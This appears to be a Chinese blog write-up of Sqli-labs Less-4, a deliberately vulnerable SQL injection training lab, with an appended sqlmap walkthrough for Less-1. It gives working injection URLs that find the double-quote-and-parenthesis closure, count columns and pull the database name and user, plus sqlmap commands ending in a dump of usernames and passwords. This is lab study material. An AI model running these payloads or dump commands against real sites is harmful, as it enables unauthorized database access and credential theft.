Sqli-labs靶场第4关详解[Sqli-labs-less-4]

Sqli-labs-Less-4

前言:
SQL注入的三个条件:
①参数可控;(从参数输入就知道参数可控)
②参数过滤不彻底导致恶意代码被执行;(需要在测试过程中判断)
③参数带入数据库执行。(从网页功能能大致分析出是否与数据库进行交互)

       利用 order by 来测列数

        测显位:mysql用1,2,3,4

     Mysql获取相关数据:

        一、数据库版本-看是否认符合information_schema查询-version()
        二、数据库用户-看是否符合root型注入攻击-user()
        三、当前操作系统-看是否支持大小写或文件路径选择-@@version_compile_os
        四、数据库名字-为后期猜解指定数据库下的表,列做准备-database()

 1.通过测试 单引号' 单引号加小括号') 整型 发现都无反应,尝试双引号"  发现报错'"1"") LIMIT 0,1'

        通过报错可以得知:注入参数闭合方式为双引号+小括号   ")

http://192.168.0.7:802/sqli-labs/Less-4/?id=1"--+

http://192.168.0.7:802/sqli-labs/Less-4/?id=1")--+

 2.知道闭合方式,后续就简单了和前几关一样,利用oder by 判断列数 / 联合查询 sql注入

http://192.168.0.7:802/sqli-labs/Less-4/?id=1") order by 4--+

字段数(列数)为3列;

3.利用回显位,爆库名、当前用户。     得到数据库名为security,当前用户为:root@localhost

成功利用sql漏洞!!!

 #自动化注入-SQLmap工具注入

python sqlmap.py -u http://192.168.0.7:802/sqli-labs/Less-4/?id=1 --current-db --current-user

爆当前用户/库名。     得到当前用户为:root@localhost,数据库名为security

 成功利用sql漏洞!!!

### 如何使用 Sqlmap 解决 SQLi-Labs 第一的 SQL 注入问题 SQLi-Labs 是一个用于学习和实践 SQL 注入技术的经典靶场环境。第一通常涉及通过 URL 参数 `id` 进行简单的 GET 请求类型的 SQL 注入攻击。以下是解决该问题的具体方法。 #### 工具准备 确保已安装并配置好 Sqlmap 工具[^1]。可以通过以下命令验证是否成功安装: ```bash sqlmap --version ``` #### 配置目标 URL 假设 SQLi-Labs 的服务运行在本地服务器上,端口为 80 或其他指定端口,则目标 URL 可能如下所示: ``` http://localhost/sqli-labs/Less-1/?id=1 ``` 其中参数 `id=1` 是可被注入的目标点。 #### 基本命令结构 为了快速测试是否存在 SQL 注入漏洞,可以使用以下基本命令: ```bash sqlmap -u "http://localhost/sqli-labs/Less-1/?id=1" --batch ``` 上述命令中的选项解释如下: - `-u`: 指定目标 URL。 - `--batch`: 自动化模式下无需人工干预即可完成操作。 如果存在漏洞,Sqlmap 将尝试探测数据库类型、版本以及可能的数据表和其他敏感信息[^4]。 #### 获取当前数据库名称 一旦确认存在 SQL 注入漏洞,下一步是获取当前使用的数据库名称。这可通过以下命令实现: ```bash sqlmap -u "http://localhost/sqli-labs/Less-1/?id=1" --current-db --batch ``` #### 列举数据表 进一步探索数据库内的数据表列表,可以执行以下命令: ```bash sqlmap -u "http://localhost/sqli-labs/Less-1/?id=1" -D "security" --tables --batch ``` 这里指定了数据库名为 `"security"`,这是 SQLi-Labs 中常见的默认数据库名称。 #### 查看字段列名 找到感兴趣的数据表后,继续查看具体表中的字段列名。例如针对 `users` 表的操作如下: ```bash sqlmap -u "http://localhost/sqli-labs/Less-1/?id=1" -D "security" -T "users" --columns --batch ``` #### 数据提取 (脱) 最后一步是从选定的表中导出实际数据记录。例如从 `users` 表中提取用户名 (`username`) 和密码 (`password`) 字段的内容: ```bash sqlmap -u "http://localhost/sqli-labs/Less-1/?id=1" -D "security" -T "users" -C "username,password" --dump --batch ``` 以上过程涵盖了从初步检测到最终数据泄露的所有必要步骤。 ---
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值